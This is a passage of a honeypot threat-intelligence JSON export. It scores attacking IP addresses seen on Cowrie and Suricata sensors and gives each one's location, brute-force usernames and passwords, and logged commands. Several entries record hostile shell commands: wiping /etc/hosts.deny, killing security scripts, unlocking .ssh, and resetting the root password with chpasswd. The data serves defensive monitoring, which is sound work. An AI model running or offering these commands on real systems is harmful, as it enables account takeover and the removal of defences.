        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T11:21:12.361000+00:00",
        "last_seen_30d": "2026-05-15T11:22:34.627000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.186.114.102": {
      "attack_count": 2,
      "first_seen": "2026-05-24T13:04:12.973Z",
      "last_seen": "2026-05-24T13:04:44.346Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 49800,
      "as_org": "GNC-Alfa CJSC",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T13:04:12.973000+00:00",
        "last_seen_30d": "2026-05-24T13:05:47.521000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.175.143.146": {
      "attack_count": 2,
      "first_seen": "2026-05-23T19:43:17.648Z",
      "last_seen": "2026-05-23T19:45:17.650Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Formosa",
      "asn": 265663,
      "as_org": "BOCA ROJA S.A.",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T19:43:17.648000+00:00",
        "last_seen_30d": "2026-05-23T19:46:34.533000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.43.112.182": {
      "attack_count": 2,
      "first_seen": "2026-05-04T08:55:19.345Z",
      "last_seen": "2026-05-04T08:55:32.302Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Kanpur",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T08:55:19.345000+00:00",
        "last_seen_30d": "2026-05-04T08:56:32.554000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.151.173.28": {
      "attack_count": 2,
      "first_seen": "2026-05-09T09:36:38.410Z",
      "last_seen": "2026-05-09T09:37:09.284Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seongnam-si",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T09:36:38.410000+00:00",
        "last_seen_30d": "2026-05-09T09:38:19.426000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "78.109.52.227": {
      "attack_count": 2,
      "first_seen": "2026-05-12T02:39:09.708Z",
      "last_seen": "2026-05-12T02:39:10.038Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Azerbaijan",
      "country_code": "AZ",
      "city": "Baku",
      "asn": 39232,
      "as_org": "Uninet LLC",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T02:39:09.708000+00:00",
        "last_seen_30d": "2026-05-12T02:40:16.113000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "78.152.221.14": {
      "attack_count": 2,
      "first_seen": "2026-05-16T15:49:58.610Z",
      "last_seen": "2026-05-16T15:49:59.252Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ireland",
      "country_code": "IE",
      "city": "Dublin",
      "asn": 15502,
      "as_org": "Vodafone Ireland Limited",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:49:58.610000+00:00",
        "last_seen_30d": "2026-05-16T15:51:37.483000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "79.117.187.171": {
      "attack_count": 2,
      "first_seen": "2026-05-03T09:46:56.589Z",
      "last_seen": "2026-05-03T09:47:09.618Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Elche",
      "asn": 57269,
      "as_org": "Digi Spain Telecom S.A",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T09:46:56.589000+00:00",
        "last_seen_30d": "2026-05-03T09:48:15.176000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "80.95.11.58": {
      "attack_count": 2,
      "first_seen": "2026-05-20T02:03:43.453Z",
      "last_seen": "2026-05-20T02:03:55.746Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Vryburg",
      "asn": 328471,
      "as_org": "Hero-Telecoms",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T02:03:43.453000+00:00",
        "last_seen_30d": "2026-05-20T02:05:00.724000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.231.89.235": {
      "attack_count": 2,
      "first_seen": "2026-05-08T23:55:14.841Z",
      "last_seen": "2026-05-08T23:55:15.250Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 72.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 28,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T06:51:18+00:00",
        "last_seen_30d": "2026-05-29T11:50:24.926000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Honeytrap": 32,
        "Cowrie": 2
      }
    },
    "92.252.161.145": {
      "attack_count": 2,
      "first_seen": "2026-05-15T22:39:47.463Z",
      "last_seen": "2026-05-15T22:41:47.468Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Ulyanovsk",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T22:39:47.463000+00:00",
        "last_seen_30d": "2026-05-15T22:51:56.181000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "93.180.222.254": {
      "attack_count": 2,
      "first_seen": "2026-05-08T18:16:22.034Z",
      "last_seen": "2026-05-08T18:16:33.997Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 211908,
      "as_org": "Horizon Scope Mobile Telecom WLL",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T18:16:22.034000+00:00",
        "last_seen_30d": "2026-05-08T18:17:38.167000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.65.139.95": {
      "attack_count": 3432,
      "first_seen": "2026-05-03T20:40:46.029Z",
      "last_seen": "2026-05-03T21:56:57.179Z",
      "sessions": 686,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "admin",
        "ubuntu",
        "deploy",
        "test",
        "user1",
        "minecraft",
        "postgres",
        "steam",
        "oracle",
        "frappe",
        "git",
        "hadoop",
        "app",
        "dmdba",
        "es",
        "ftpuser",
        "guest",
        "mysql"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1",
        "password",
        "1234",
        "12345",
        "12345678",
        "1qaz@WSX",
        "123456789",
        "abc123",
        "111",
        "1111",
        "123123",
        "Aa123456",
        "admin",
        "admin123",
        "qwe123",
        "test123",
        "******",
        "111111"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4837,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T20:40:46.029000+00:00",
        "last_seen_30d": "2026-05-03T21:58:03.995000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3432,
        "Suricata": 1405
      }
    },
    "92.113.142.203": {
      "attack_count": 592,
      "first_seen": "2026-05-15T21:17:45.320Z",
      "last_seen": "2026-05-20T01:43:44.671Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "pakchoi",
        "systemd-sync",
        "claude",
        "dbus-helper",
        "linux",
        "udev-monitor",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "1234abcd!",
        "123q123",
        "123qwe-=",
        "123test",
        "360",
        "Dell123",
        "Kermit123@",
        "P@$$w0rd@2019",
        "Push@8240",
        "aBc123456",
        "admin999",
        "airadmin",
        "amadeus",
        "bonilla",
        "claude",
        "deeplearning"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Kermit123@\\njqiEFyLLfwKP\\njqiEFyLLfwKP\\n\"|passwd",
        "echo \"root:Vy27ouQtX7A9\"|chpasswd|bash",
        "echo \"root:fQqzUEvVCtrv\"|chpasswd|bash",
        "echo \"root:rQiJ6xsh5pA8\"|chpasswd|bash",
        "echo \"warnight\\nmjKgXUTL6S7v\\nmjKgXUTL6S7v\\n\"|passwd",
        "echo -e \"Kermit123@\\njqiEFyLLfwKP\\njqiEFyLLfwKP\"|passwd|bash",
        "echo -e \"warnight\\nmjKgXUTL6S7v\\nmjKgXUTL6S7v\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 36530,
      "as_org": "IDC Cube",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 727,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T21:17:45.320000+00:00",
        "last_seen_30d": "2026-05-20T01:44:47.337000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 592,
        "Suricata": 135
      }
    },
    "58.50.201.171": {
      "attack_count": 510,
      "first_seen": "2026-05-21T06:48:49.034Z",
      "last_seen": "2026-05-22T09:44:37.080Z",
      "sessions": 255,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 29.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 787,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:48:49.034000+00:00",
        "last_seen_30d": "2026-05-22T09:45:41.607000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 510,
        "Suricata": 277
      }
    },
    "59.47.188.18": {
      "attack_count": 478,
      "first_seen": "2026-05-21T06:57:40.820Z",
      "last_seen": "2026-05-22T09:47:36.928Z",
      "sessions": 239,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 729,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:57:40.820000+00:00",
        "last_seen_30d": "2026-05-22T09:48:41.794000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 478,
        "Suricata": 251
      }
    },
    "165.154.229.58": {
      "attack_count": 420,
      "first_seen": "2026-05-05T08:07:25.063Z",
      "last_seen": "2026-05-22T01:09:43.484Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "oracle",
        "345gs5662d34",
        "admin",
        "proxyuser",
        "test",
        "alireza",
        "bence",
        "developer",
        "ftpadmin1",
        "ftpuser",
        "git",
        "gittest",
        "habib",
        "minecraft",
        "odoo",
        "odoouser",
        "postgres",
        "tester"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "123698745",
        "1qazxsw23edc",
        "7777777",
        "Abcd1234",
        "Ls@123456",
        "Oracle@123456",
        "P@ssw0rd",
        "Passw0rd",
        "Passw0rd@123",
        "Password",
        "Password!",
        "Qw12345678",
        "Ubuntu123456",
        "Zk123456",
        "abc1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\n7I9v7HfSIIuB\\n7I9v7HfSIIuB\\n\"|passwd",
        "echo \"root:T9BXNaCiNFCw\"|chpasswd|bash",
        "echo \"root:dlfOLGRAvprs\"|chpasswd|bash",
        "echo -e \"123\\n7I9v7HfSIIuB\\n7I9v7HfSIIuB\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 38.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.3,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 532,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T08:07:25.063000+00:00",
        "last_seen_30d": "2026-05-22T01:10:45.205000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 420,
        "Suricata": 112
      }
    },
    "201.76.120.30": {
      "attack_count": 411,
      "first_seen": "2026-05-02T20:22:15.393Z",
      "last_seen": "2026-05-29T08:02:40.948Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "user",
        "ali",
        "deploy",
        "hotline",
        "backupuser",
        "ftp-user",
        "ftp_user",
        "mcserver1",
        "mytest",
        "odoo",
        "p",
        "test",
        "tester",
        "user1",
        "user13",
        "userftp"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1111",
        "1122",
        "1234",
        "12345678",
        "1qaz$2wsx",
        "1qaz2wsx3edc",
        "2019",
        "2024",
        "4321",
        "Aa134679",
        "Aa@123456",
        "Ab123456!",
        "Cloud@123",
        "Passw0rd1",
        "abc123",
        "admin123",
        "admin2024!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nl930dXlkK5eU\\nl930dXlkK5eU\\n\"|passwd",
        "echo \"hotline\\nwhEZo4H9VSPX\\nwhEZo4H9VSPX\\n\"|passwd",
        "echo \"root:Qs51U0BX0s33\"|chpasswd|bash",
        "echo -e \"123456\\nl930dXlkK5eU\\nl930dXlkK5eU\"|passwd|bash",
        "echo -e \"hotline\\nwhEZo4H9VSPX\\nwhEZo4H9VSPX\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Montenegro",
      "asn": 262794,
      "as_org": "VERO S.A",
      "threat_score": 58.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.1,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 517,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T20:22:15.393000+00:00",
        "last_seen_30d": "2026-05-29T08:03:49.828000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 411,
        "Suricata": 106
      }
    },
    "45.119.84.196": {
      "attack_count": 349,
      "first_seen": "2026-05-21T23:17:12.078Z",
      "last_seen": "2026-05-22T00:21:09.858Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "carla",
        "portal",
        "dong",
        "postgres",
        "sammy",
        "scott",
        "soporte",
        "usuario1",
        "vhserver"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "369369",
        "Admin123",
        "Erkan123",
        "Qaz123wsx",
        "Qwer123",
        "carla",
        "portal",
        "qazwsx@123",
        "qwert123!@#",
        "scott",
        "soporte2025",
        "t",
        "usuario1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"carla\\nQnAMdtB1kOXS\\nQnAMdtB1kOXS\\n\"|passwd",
        "echo \"portal\\nrfOKLtbGWDEg\\nrfOKLtbGWDEg\\n\"|passwd",
        "echo \"root:FNiWMSQo0Eef\"|chpasswd|bash",
        "echo \"root:RSAZE5d6XAzH\"|chpasswd|bash",
        "echo -e \"carla\\nQnAMdtB1kOXS\\nQnAMdtB1kOXS\"|passwd|bash",
        "echo -e \"portal\\nrfOKLtbGWDEg\\nrfOKLtbGWDEg\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131386,
      "as_org": "Long Van System Solution JSC",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 412,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T23:17:12.078000+00:00",
        "last_seen_30d": "2026-05-22T00:22:10.259000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 349,
        "Suricata": 63
      }
    },
    "150.242.15.127": {
      "attack_count": 310,
      "first_seen": "2026-05-02T13:46:31.329Z",
      "last_seen": "2026-05-05T09:28:46.963Z",
      "sessions": 155,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 133296,
      "as_org": "Web Werks India Pvt. Ltd.",
      "threat_score": 5.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 470,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T13:46:31.329000+00:00",
        "last_seen_30d": "2026-05-05T09:29:53.013000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 310,
        "Suricata": 160
      }
    },
    "87.226.190.225": {
      "attack_count": 300,
      "first_seen": "2026-05-18T18:41:40.713Z",
      "last_seen": "2026-05-18T19:11:01.480Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12121212",
        "1q2w3e4r!",
        "PasswdNew",
        "ampache",
        "angels",
        "beaver",
        "claude",
        "dbmaker",
        "einstein",
        "elias",
        "hes",
        "huawei!@",
        "kermit",
        "lionel",
        "localhost",
        "mju76yhn",
        "movie",
        "online"
      ],
      "commands_executed": [
